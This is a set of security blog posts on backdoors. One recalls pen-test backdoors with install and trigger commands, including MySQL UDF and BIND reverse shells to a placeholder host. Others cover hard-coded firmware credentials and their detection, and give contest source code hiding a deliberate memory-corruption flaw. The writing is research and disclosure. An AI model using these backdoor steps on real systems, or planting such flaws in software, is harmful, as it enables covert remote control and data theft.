INSIGHTS | September 8, 2015

The Beauty of Old-school Backdoors

Currently, voodoo advanced rootkit techniques exist for persistence after you’ve got a shell during a pen test. Moreover, there are some bugdoorsimplemented on purpose by vendors, but that’s a different story. Beautiful techniques and code are available these days, but, do you remember that subtle code you used to use to sneak through the door? Enjoy that nostalgia by sharing your favorite one(s) using the #oldschoolbackdoors on social networks.

 

In this post, I present five Remote Administration Tools (RATs) a.k.a. backdoors that I personally used and admired. It’s important to mention that I used these tools as part of legal pen testing projects in order to show the importance of persistence and to measure defensive effectiveness against such tools.
1. Apache mod_rootme backdoor module (2004)

“mod_rootme is a very cool module that sets up a backdoor inside of Apache where a simple GET request will allow a remote administrator the ability to grab a root shell on the system without any logging.”

 

One of the most famous tools only required you to execute a simple makecommand to compile the shared object, copy it into the modules directory, insert “LoadModule rootme2_module /usr/lib/apache2/modules/mod_rootme2.so” into httpd.conf, and restart the httpd daemon with ‘apachectl stop; apachectl start’. After that, a simple “GET root” would give you back a w00t shell.

 

2. raptor_winudf.sql – A MySQL UDF backdoor (2004–2006)

“This is a MySQL backdoor kit based on the UDFs (User Defined Functions) mechanism. Use it to spawn a reverse shell (netcat UDF on port 80/tcp) or to execute single OS commands (exec UDF).”

 

For this backdoor, you used a simple ‘#mysql -h x.x.x.x < raptor_winudf.sql’to inject the backdoor as a user-defined function. From there, you could execute commands with ‘mysql> select exec(‘ipconfig > c:out.txt’);’ from the MySQL shell.

 

A cool reverse-shell feature was implemented as well and could be called with ‘mysql> select netcat(‘y.y.y.y’);’ in order to send an interactive shell to port 80 on the host supplied (y.y.y.y). The screenshot below shows the variant for Linux.

Screenshot source:
http://infamoussyn.com/2014/07/11/gaining-a-root-shell-using-mysql-user-defined-functions-and-setuid-binaries/ (no longer active)
 
3. Winamp get_wbkdr.dll plugin backdoor (2006)

“wbkdr is a proof of concept Winamp backdoor that makes use of the plugin interface. It spawns cmd.exe on port 24501.”

 

This one was as easy as copying the DLL into C:Program FilesWinampPlugins and playing your favorite song with Winamp in order to get a pretty cmd.exeattached to the port 24501.

 

4. BIND reverse shell backdoor (2005)
This backdoor used an unpublished patch for BIND, the most used DNS daemon on the Internet, developed by a friend of mine from Argentina. Basically you had to patch the source, compile and run named, as root normally. Once running, sending a DNS request with ‘nslookup backdoorpassword:x.x.x.x:port target_DNS_server’ would trigger a reverse shell to the host x.x.x.x on the port given.
5. Knock-out – a port-knocking based backdoor (2006)

This is backdoor I made using libpcap for packet sniffing (server) and libnet for packet crafting (client). I made use of the port-knocking technique to enable the backdoor, which could be a port bind or a reverse shell. The server and client use the same configuration file to determine which ports to knock and the time gap between each network packet sent. Knock-out supports TCP and UDP and is still working on recent Linux boxes (tested under Ubuntu Server 14.04).

 

I’d say most of these backdoors still work today. You should try them out. Also, I encourage you to share the rarest backdoors you ever seen, the ones that you liked the most, and the peculiar ones you tried and fell in love with. Don’t forget to use the #oldschoolbackdoors hashtag ;-).

INSIGHTS | June 4, 2013

Industrial Device Firmware Can Reveal FTP Treasures!

Security professionals are becoming more aware of backdoors, security bugs, certificates, and similar bugs within ICS device firmware. I want to highlight another bug that is common in the firmware for critical industrial devices: the remote access provided by some vendors between their devices and ftp servers for troubleshooting or testing. In many cases this remote access could allow an attacker to compromise the device itself, the company the device belongs to, or even the entire vendor organization.
I discovered this vulnerability while tracking connectivity test functions within the firmware for an industrial device gateway. During my research I landed on a script with ftp server information that is transmitted in the clear:
The script tests connectivity and includes two subtests. The first is a simple ping to the host “8.8.8.8”. The second test uses an internal ftp server to download a test file from the vendor’s ftp server and to upload the results back to the vendor’s server. The key instructions use the wget and wput commands shown in the screen shot.
In this script, the wget function downloads a test file from the vendor’s ftp server. When the test is complete, the wput function inserts the serial number of the device into the file name before the file is uploaded back to the vendor.
This is probably done to ensure that file names identify unique devices and for traceability.
This practice actually involves two vulnerabilities:
  • Using the device serial number as part of a filename on a relatively accessible ftp server.
  • Hardcoding the ftp server credentials within the firmware.
This combination could enable an attacker to connect to the ftp server and obtain the devices serial numbers.
The risk increases for the devices I am investigating. These device serial numbers are also used by the vendor to generate default admin passwords. This knowledge and strategy could allow an attacker to build a database of admin passwords for all of this vendor’s devices.
Another security issue comes from a different script that points to the same ftp server, this time involving anonymous access.
This vendor uses anonymous access to upload statistics gathered from each device, probably for debugging purposes. These instructions are part of the function illustrated below.
As in the first script, the name of the zipped file that is sent back to the ftp server includes the serial number.
The script even prompts the user to add the company name to the file name.
An attacker with this information can easily build a database of admin passwords linked to the company that owns the device.

 

The third script, which also involves anonymous open access to the ftp server, gathers the device configuration and uploads it to the server. The only difference between this and the previous script is the naming function, which uses the configs- prefix instead of the stats- prefix.
The anonymous account can only write files to the ftp server. This prevents anonymous users from downloading configuration files. However, the server is running an old version of the ftp service, which is vulnerable to public exploits that could allow full access to the server.
A quick review shows that many common information security best practice rules are being broken:
  1. Naming conventions disclose device serial numbers and company names. In addition, these serial numbers are used to generate unique admin passwords for each device.
  2. Credentials for the vendor’s ftp server are hard coded within device firmware. This would allow anyone who can reverse engineer the firmware to access sensitive customer information such as device serial numbers.
  3. Anonymous write access to the vendor’s ftp server is enabled. This server contains sensitive customer information, which can expose device configuration data to an attacker from the public Internet. The ftp server also contains sensitive information about the vendor.
  4. Sensitive and critical data such as industrial device configuration files are transferred in clear text.
  5. A server containing sensitive customer data and running an older version of ftp that is vulnerable to a number of known exploits is accessible from the Internet.
  6. Using Clear text protocols to transfer sensitive information over internet
Based on this review we recommend some best practices to remediate the vulnerabilities described in this article:
  1. Use secure naming conventions that do not involve potentially sensitive information.
  2. Do not hard-code credentials into firmware (read previous blog post by Ruben Santamarta).
  3. Do not transfer sensitive data using clear text protocols. Use encrypted protocols to protect data transfers.
  4. Do not transfer sensitive data unless it is encrypted. Use high-level encryption to encrypt sensitive data before it is transferred.
  5. Do not expose sensitive customer information on public ftp servers that allow anonymous access.
  6. Enforce a strong patch policy. Servers and services must be patched and updated as needed to protect against known vulnerabilities.
INSIGHTS | May 23, 2013

Identify Backdoors in Firmware By Using Automatic String Analysis

The Industrial Control Systems Cyber Emergency Response Team (ICS-CERT) this Friday published an advisory about some backdoors I found in two programmable gateways from TURCK, a leading German manufacturer of industrial automation products.
Using hard-coded account credentials in industrial devices is a bad idea. I can understand the temptation among manufacturers to include a backdoor “support” mechanism in the firmware for a product such as this. This backdoor allows them to troubleshoot problems remotely with minimal inconvenience to the customer.

On the other hand, it is only a matter of time before somebody discovers these ‘secret’ backdoors. In many cases, it takes very little time.

The TURCK backdoor is similar to other backdoors that I discussed at Black Hat and in previous blog posts. The common denominator is this: you do not need physical access to an actual device to find its backdoor. All you have to do is download device firmware from the vendor’s website. Once you download the firmware, you can reverse engineer it and learn some interesting secrets.
For example, consider the TURCK firmware. The binary file contains a small header, which simplifies the reverse engineering process:

 

 

The offset 0x1c identifies the base address. Directly after the header are the ARM opcodes. This is all the information you need to load the firmware into an IDA disassembler and debugger.

A brief review revealed that the device has its own FTP server, among other services. I also discovered several hard-coded credentials that are added when the system starts. Together, the FTP server and hard-coded credentials are a dangerous combination. An attacker with those credentials can completely compromise this device.
Find Hidden Credentials Fast
You can find hidden credentials such as this using manual analysis. But I have a method to discover hidden credentials more quickly. It all started during a discussion with friends at the LaCon conference regarding these kinds of flaws. One friend (hello @p0f ! ) made an obvious but interesting comment: “You could just find these backdoors by running the ‘strings’ command on the firmware file, couldn’t you?”

This simple observation is correct. All of the backdoors that are already public (such as Schneider, Siemens, and TURCK) could have been identified by looking at the strings … if you know common IT/embedded syntax. You still have to verify that potential backdoors are valid. But you can definitely identify suspicious elements in the strings.
There is a drawback to this basic approach. Firmware usually contains thousands of strings and it can take a lot of time to sift through them. It can be much more time consuming than simply loading the firmware in IDA, reconstructing symbols, and finding the ‘interesting’ functions.
So how can one collect intelligence from strings in less time? The answer is an analysis tool we created and use at IOActive called Stringfighter.
How Does Stringfighter Work?
Imagine dumping strings from a random piece of firmware. You end up with the following list of strings:
[Creating socket]
ERROR: %n
Initializing 
Decompressing kernel
GetSrvAddressById
NO_ADDRESS_FOUND
Xi$11ksMu8!Lma

 

From your security experience you notice that the last string seems different from the others—it looks like a password rather than a valid English word or a symbol name. I wanted to automate this kind of reasoning.
This is not code analysis. We only assume certain common patterns (such as sequential strings and symbol tables) usually found in this kind of binary. We also assume that compilers under certain circumstances put strings close to their references.
As in every decision process, the first step is to filter input based on selected features. In this case we want to discover ‘isolated’ strings. By ‘isolated’ I’m referring to ‘out-of-context’ elements that do not seem related to other elements.
An effective algorithm known as the ‘Levenshtein distance’ is frequently used to measure string similarity:
To apply this algorithm we create a window of n bytes that scans for ‘isolated’ strings. Inside that window, each string is checked against its ‘neighbors’ based on several metrics including, but not limited to, the Levenshtein distance.
However, this approach poses some problems. After removing blocks of ‘related strings,’ some potentially isolated strings are false positive results. For example, an ‘isolated’ string may be related to a distant ‘neighbor.’
We therefore need to identify additional blocks of ‘related strings’ (especially those belonging to symbol tables) formed between distant blocks that later become adjacent.
To address this issue we build a ‘first-letter’ map and run this until we can no longer remove additional strings.
At this point we should have a number of strings that are not related. However, how can we decide whether the string is a password? I assume developers use secure passwords, so we have to find strings that do not look like natural words.
We can consider each string as a first-order Markov source. To do this, use the following formula to calculate its entropy rate:
We need a large dictionary of English (or any other language) words to build a transition matrix. We also need a black list to eliminate common patterns.
We also want to avoid the false positives produced by symbols. To do this we detect symbols heuristically and ‘normalize’ them by summing the entropy for each of its tokens rather than the symbol as a whole.
These features help us distinguish strings that look like natural language words or something more interesting … such as undocumented passwords.
The following image shows a Stringfighter analysis of the TURCK BL20 firmware. The first string in red is highlighted because the tool detected that it is interesting.
In this case it was an undocumented password, which we eventually confirmed by analyzing the firmware.
The following image shows a Stringfighter analysis of the Schneider NOE 771 firmware. It revealed several backdoor passwords (VxWorks hashes). Some of these backdoor passwords appear in red.

Stringfighter is still a proof-of-concept prototype. We are still testing the ideas behind this tool. But it has exceeded our initial expectations and has detected backdoors in several devices. The TURCK backdoor identified in the CERT advisory will not be the last one identified by IOActive Labs. See you in the next advisory!
INSIGHTS | May 3, 2012

Enter the Dragon(Book), Pt 2

Nobody has been able to find this backdoor to date (one reason I’m talking about it).

While the C specification defines many requirements, it also permits a considerable amount of implementation-defined behavior (even though it later struck me as odd that many compilers could be coerced into generating this backdoor in an identical way).

 

From the C specification; Environmental Considerations, Section 5.2—in particular section 5.2.4.1 (Translation limits)—seems to offer the most relevant discussion on the topic.

 

Here’s a concise/complete example:
typedef struct _copper
{
  char field1[0x7fffffff];
  char field2[0x7fffffff];
  char pad0;
  char pad1;
} copper, *pcopper;
int main(int argc, char **argv)
{
    copper david;
    printf(“sizeof david = %xn”, sizeof(david));
    printf(“sizeof david’s copper.field1 = %xn”, sizeof(david.field1));
       if(argc > 1 && strlen(argv[argc-1]) < sizeof(david.field1))
              strncpy_s(david.field1, argv[argc-1], sizeof(david.field1));
    return 0;
}
What is the expected size of david?
What is the expected size of the copper.field?
Here’s the compiled output:
sizeof david = 1
sizeof david.copper.field1 = 7fffffff
W0W!! The sum of the parts is GREATER than the whole!
It would seem that a (somewhat) correct check for length (let’s forget about the NULL and strncpy_s for portability/readability) is always going to pass since field1’s length is VERY large; however, the storage for this type is allocated with sizeof(copper) (statically or dynamically). This means that we can arbitrarily write into memory despiteany amount of bounds checking!
So, what we have is the sizeof operator failing due to the arrangement of this struct, which violates the environmental limits of C.
This struct actually contains numerous variations and interesting vectors. For instance, I’ve found _MANY_ type’s defined in the SDK of both operating systems and compilers—if you surreptitiously #define (actually redefine) an existing constant, you can exploit existing code.
The situation here is that it’s virtually impossible to detect this backdoor.
I’ve attempted to detect the flaw with all sorts of code checking tools, all of which are blind to this attack.  It seems that this overflow occurs statically, which is why sizeof is failing. I’ve been calling this a “static overflow,” which may or may not be a good name, but it seems to fit given that the overflow happens during compilation (AST formulation).
Possible attack vectors include: (1) untrusted .c/.h files in your compiler’s path, (2) environment (set CARGS=/DMAXPATH=0x7fffffff), (3) arguments, and (4) flags.
This may seem a relatively small surface area, but in any modestly-complex application, hundreds/thousands of header files are included from untrusted sources.
I’ve had many crashes in cc/ld. I anyone finds a way to exploit the actual compilation (take control of the cc/ld process) that would be pretty neat. Some of the more aggressive faults tend to occur when the compiler looks up instructions to address the oversized region, or when this type is used in more elaborate loop/indexed [array].foo[bar] arrangements.
I hope you all enjoyed this magic trick.
INSIGHTS | March 6, 2012

Enter the Dragon(Book), Part 1

This is a fairly large topic; I’ve summarized and written in a somewhat narrative/blog friendly way here.
 
A few years ago I was reading a blog about STL memory allocators (http://blogs.msdn.com/b/vcblog/archive/2008/08/28/the-mallocator.aspx), memory allocators being a source of extreme security risk, I took the author’s statement, “I’ve carefully implemented all of the integer overflow checks and so forth that would be required in real production code.” as a bit of a challenge.

After playing with permutations of the code I was able to get failures of this STL allocator.  What was interesting to me is that I wasn’t only getting failures in being able to cause failures in my test code; I was able to also crash the compiler and linker. 
 
Exploiting a compiler is nothing new; Trusting Trust by Ken Thompson is of course the preeminent philosophy on this topic.  In a nutshell, a compiler can be made that compiles other applications with known subtle backdoors which when any valid/flawless code is compiled, the backdoor is included, very interesting and tricky.
 
David A. Wheeler has a page dedicated to his PhD dissertation that (http://www.dwheeler.com/trusting-trust/) proposes a fairly simple technique known as Diverse Double-Compiling (DDC) where you compile all code with a save/trusted compiler to validate your possibly-untrusted compiler output.  Sounds simple and effective enough?
Enter the dragon(book), or rather the C specification.  I am not a language lawyer (and I do not even play one on T.V.), but what’s interesting about the C specification is that there are significant portions of state that are left to the imagination of the compiler writer (i.e. undefined operations).  What if you could exploit this behavior in a deterministic way?  What if you could exploit this behavior in a cross-compiler-deterministic way?
It would seem then that you would have the perfect backdoor, undetectable by DDC techniques or even manual inspection.
 
After some time and checking with vendors on the security sensitivity nature of this class of problems, I found out that there was unlikely to be a “fix” (unless the C specification is altered).  This gave me a clear conscience to publish the method.

The attached code is the code I used to win the backdoor hiding contest @ DEFCON (http://defcon.org).  It is a library class written in C++/CLI that exposes a number of methods that allow for the loading/saving of data to a disk file.
 

See if you can find the backdoor, I’ll post the explanation and details on the flaw soon.


// eBookLib.cpp : main project file.
// Project requirements
// Add/Remove/Query eBooks
// One code file (KISS in effect)
//

//
// **** Mostly generated from Visual Studio project templates ****
//
#define WIN32_LEAN_AND_MEAN
#define _WIN32_WINNT 0x501

#include <windows.h>
#include <stdio.h>
#include <wchar.h>

#include <msclrmarshal.h>

#using <Microsoft.VisualC.dll>
#using <System.dll>
#using <System.Core.dll>

using namespace System;
using namespace System::IO;
using namespace System::Threading;
using namespace System::Threading::Tasks;
using namespace System::Reflection;
using namespace System::Diagnostics;
using namespace System::Globalization;
using namespace System::Collections::Generic;
using namespace System::Security::Permissions;
using namespace System::Runtime::InteropServices;
using namespace System::IO::MemoryMappedFiles;
using namespace System::IO;
using namespace System::Runtime::CompilerServices;

using namespace msclr;
using namespace msclr::interop;

//
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
//
[assembly:AssemblyTitleAttribute(“eBookLib”)];
[assembly:AssemblyDescriptionAttribute(“”)];
[assembly:AssemblyConfigurationAttribute(“”)];
[assembly:AssemblyCompanyAttribute(“Microsoft”)];
[assembly:AssemblyProductAttribute(“eBookLib”)];
[assembly:AssemblyCopyrightAttribute(“Copyright (c) Microsoft 2010”)];
[assembly:AssemblyTrademarkAttribute(“”)];
[assembly:AssemblyCultureAttribute(“”)];
//
// Version information for an assembly consists of the following four values:
//
//      Major Version
//      Minor Version
//      Build Number
//      Revision
//
// You can specify all the value or you can default the Revision and Build Numbers
// by using the ‘*’ as shown below:

[assembly:AssemblyVersionAttribute(“1.0.*”)];

[assembly:ComVisible(false)];

[assembly:CLSCompliantAttribute(true)];

[assembly:SecurityPermission(SecurityAction::RequestMinimum, UnmanagedCode = true)];

////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Native structures used from legacy system,
// define the disk storage for our ebook,
// 
// The file specified by the constructor is read from and loaded automatically, it is also auto saved when closed.
////////////////////////////////////////////////////////////////////////////////////////////////////////////////
enum eBookFlag
{
NOFLAG = 0,
ACTIVE = 1,
PENDING_REMOVE = 2
};

typedef struct _eBookAccountingData
{
// Binary Data, may include nulls
char PurchaseOrder[ACCOUNTING_SIZE];
char RecieptData[ACCOUNTING_SIZE];
size_t PurchaseOrderLength;
size_t RecieptDataLength;
} eBookAccountingData, *PeBookAccountingData;

typedef struct _eBookPublicData
{
wchar_t ISBN[BUFSIZ];
wchar_t MISC[BUFSIZ];
wchar_t ShortName[BUFSIZ];
wchar_t Author[BUFSIZ];
wchar_t LongName[BUFSIZ];
wchar_t PathToFile[MAX_PATH];
int Rating;
int SerialNumber;
} eBookPublicData, *PeBookPublicData;

typedef struct _eBook
{
eBookFlag Flag;
eBookAccountingData Priv;
eBookPublicData Pub;
} eBook, *PeBook;

// define managed analogues for native/serialized types
namespace Client {
namespace ManagedEbookLib {
[System::FlagsAttribute]
public enum class ManagedeBookFlag : int 
{
NOFLAG = 0x0,
ACTIVE = 0x1,
PENDING_REMOVE = 0x2,
};

public ref class ManagedEbookPublic 
{
public:
__clrcall ManagedEbookPublic()
{
ISBN = MISC = ShortName = Author = LongName = PathToFile = String::Empty;
}
Int32 Rating;
String^ ISBN;
String^ MISC;
Int32 SerialNumber;
String^ ShortName;
String^ Author;
String^ LongName;
String^ PathToFile;
};

public ref class ManagedEbookAccounting 
{
public:
__clrcall ManagedEbookAccounting()
{
PurchaseOrder = gcnew array<Byte>(0);
RecieptData = gcnew array<Byte>(0);
}
array<Byte>^ PurchaseOrder;
array<Byte>^ RecieptData;
};

public ref class ManagedEbook 
{
public:
__clrcall ManagedEbook()
{
Pub = gcnew ManagedEbookPublic();
Priv = gcnew ManagedEbookAccounting();
}
ManagedeBookFlag Flag;
ManagedEbookPublic^ Pub;
ManagedEbookAccounting^ Priv;
array<Byte^>^ BookData;
};
}
}

using namespace Client::ManagedEbookLib;

// extend marshal library for native/managed inter-op
namespace msclr {
   namespace interop {
template<>
inline ManagedEbookAccounting^ marshal_as<ManagedEbookAccounting^, eBookAccountingData> (const eBookAccountingData& Src) 
{
ManagedEbookAccounting^ Dest = gcnew ManagedEbookAccounting;

if(Src.PurchaseOrderLength > 0 && Src.PurchaseOrderLength < sizeof(Src.PurchaseOrder))
{
Dest->PurchaseOrder = gcnew array<Byte>((int) Src.PurchaseOrderLength);
Marshal::Copy(static_cast<IntPtr>(Src.PurchaseOrder[0]), Dest->PurchaseOrder, 0, (int) Src.PurchaseOrderLength); 
}

if(Src.RecieptDataLength > 0 && Src.RecieptDataLength < sizeof(Src.RecieptData))
{
Dest->RecieptData = gcnew array<Byte>((int) Src.RecieptDataLength);
Marshal::Copy(static_cast<IntPtr>(Src.RecieptData[0]), Dest->RecieptData, 0, (int) Src.RecieptDataLength); 
}

return Dest;
};
template<>
inline ManagedEbookPublic^ marshal_as<ManagedEbookPublic^, eBookPublicData> (const eBookPublicData& Src) {
ManagedEbookPublic^ Dest = gcnew ManagedEbookPublic;
Dest->Rating = Src.Rating;
Dest->ISBN = gcnew String(Src.ISBN);
Dest->MISC = gcnew String(Src.MISC);
Dest->SerialNumber = Src.SerialNumber;
Dest->ShortName = gcnew String(Src.ShortName);
Dest->Author = gcnew String(Src.Author);
Dest->LongName = gcnew String(Src.LongName);
Dest->PathToFile = gcnew String(Src.PathToFile);
return Dest;
};
template<>
inline ManagedEbook^ marshal_as<ManagedEbook^, eBook> (const eBook& Src) {
ManagedEbook^ Dest = gcnew ManagedEbook;

Dest->Priv = marshal_as<ManagedEbookAccounting^>(Src.Priv);
Dest->Pub = marshal_as<ManagedEbookPublic^>(Src.Pub);
Dest->Flag = static_cast<ManagedeBookFlag>(Src.Flag);

return Dest;
};
   }
}

// Primary user namespace
namespace Client
{
namespace ManagedEbooks
{
// “Store” is Client::ManagedEbooks::Store()
public ref class Store
{
private:
String^ DataStore;
List<ManagedEbook^>^ Books;
HANDLE hFile;

// serialization from disk
void __clrcall LoadDB()
{
Books = gcnew List<ManagedEbook^>();
eBook AeBook;
DWORD red = 0;

marshal_context^ x = gcnew marshal_context();
hFile = CreateFileW(x->marshal_as<const wchar_t*>(DataStore), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, 0, OPEN_ALWAYS,  0,  0);

if(hFile == INVALID_HANDLE_VALUE) 
return;

do {
ReadFile(hFile, &AeBook, sizeof(eBook), &red, NULL);

if(red == sizeof(eBook))
Books->Add(marshal_as<ManagedEbook^>(AeBook));

} while(red == sizeof(eBook));
}

// scan hay for anything that matches needle
bool __clrcall MatchBook(ManagedEbook ^hay, ManagedEbook^ needle)
{
// check numeric values first
if(hay->Pub->Rating != 0 && hay->Pub->Rating == needle->Pub->Rating)
return true;
if(hay->Pub->SerialNumber != 0 && hay->Pub->SerialNumber == needle->Pub->SerialNumber)
return true;

// scan each string
if(!String::IsNullOrEmpty(hay->Pub->ISBN) && hay->Pub->ISBN->Contains(needle->Pub->ISBN))
return true;
if(!String::IsNullOrEmpty(hay->Pub->MISC) && hay->Pub->MISC->Contains(needle->Pub->MISC))
return true;
if(!String::IsNullOrEmpty(hay->Pub->ShortName) && hay->Pub->ShortName->Contains(needle->Pub->ShortName))
return true;
if(!String::IsNullOrEmpty(hay->Pub->Author) && hay->Pub->Author->Contains(needle->Pub->Author))
return true;
if(!String::IsNullOrEmpty(hay->Pub->LongName) && hay->Pub->LongName->Contains(needle->Pub->LongName))
return true;
if(!String::IsNullOrEmpty(hay->Pub->PathToFile) && hay->Pub->PathToFile->Contains(needle->Pub->PathToFile))
return true;
return false;
}

// destructor
__clrcall !Store()

Close();
}

// serialization to disk happens here
void __clrcall _Close()
{
if(hFile == INVALID_HANDLE_VALUE) 
return;

SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
for each(ManagedEbook^ book in Books)
{
eBook save;
DWORD wrote=0;
marshal_context^ x = gcnew marshal_context();
ZeroMemory(&save, sizeof(save));

save.Pub.Rating = book->Pub->Rating;
save.Pub.SerialNumber = book->Pub->SerialNumber;
save.Flag = static_cast<eBookFlag>(book->Flag);

swprintf_s(save.Pub.ISBN, sizeof(save.Pub.ISBN), L”%s”, x->marshal_as<const wchar_t*>(book->Pub->ISBN));
swprintf_s(save.Pub.MISC, sizeof(save.Pub.MISC), L”%s”, x->marshal_as<const wchar_t*>(book->Pub->MISC));
swprintf_s(save.Pub.ShortName, sizeof(save.Pub.ShortName), L”%s”, x->marshal_as<const wchar_t*>(book->Pub->ShortName));
swprintf_s(save.Pub.Author, sizeof(save.Pub.Author), L”%s”, x->marshal_as<const wchar_t*>(book->Pub->Author));
swprintf_s(save.Pub.LongName, sizeof(save.Pub.LongName), L”%s”, x->marshal_as<const wchar_t*>(book->Pub->LongName));
swprintf_s(save.Pub.PathToFile, sizeof(save.Pub.PathToFile), L”%s”, x->marshal_as<const wchar_t*>(book->Pub->PathToFile));

if(book->Priv->PurchaseOrder->Length > 0)
{
pin_ptr<Byte> pin = &book->Priv->PurchaseOrder[0];

save.Priv.PurchaseOrderLength = min(sizeof(save.Priv.PurchaseOrder), book->Priv->PurchaseOrder->Length);
memcpy(save.Priv.PurchaseOrder, pin, save.Priv.PurchaseOrderLength);
pin = nullptr;
}

if(book->Priv->RecieptData->Length > 0)
{
pin_ptr<Byte> pin = &book->Priv->RecieptData[0];

save.Priv.RecieptDataLength = min(sizeof(save.Priv.RecieptData), book->Priv->RecieptData->Length);
memcpy(save.Priv.RecieptData, pin, save.Priv.RecieptDataLength);
pin = nullptr;
}

WriteFile(hFile, &save, sizeof(save), &wrote, NULL);
if(wrote != sizeof(save))
return;
}
CloseHandle(hFile);
hFile = INVALID_HANDLE_VALUE;
}

protected:

// destructor forwards to the disposable interface
virtual __clrcall ~Store()

this->!Store(); 
}

public:

// possibly hide this
void __clrcall Close()
{
_Close();
}

// constructor
__clrcall Store(String^ DataStoreDB)
{
DataStore = DataStoreDB;
LoadDB();
}

// add ebook
void __clrcall Add(ManagedEbook^ eBook)
{
Books->Add(eBook);
}

// remove ebook
void __clrcall Remove(ManagedEbook^ eBook)
{
Books->Remove(eBook);
}

// get query list
List<ManagedEbook^>^ __clrcall Query(ManagedEbook^ eBook)
{
List<ManagedEbook^>^ rv = gcnew List<ManagedEbook^>();

for each(ManagedEbook^ book in Books)
{
if(MatchBook(book, eBook))
rv->Add(book);
}
return rv;
}
};
}
}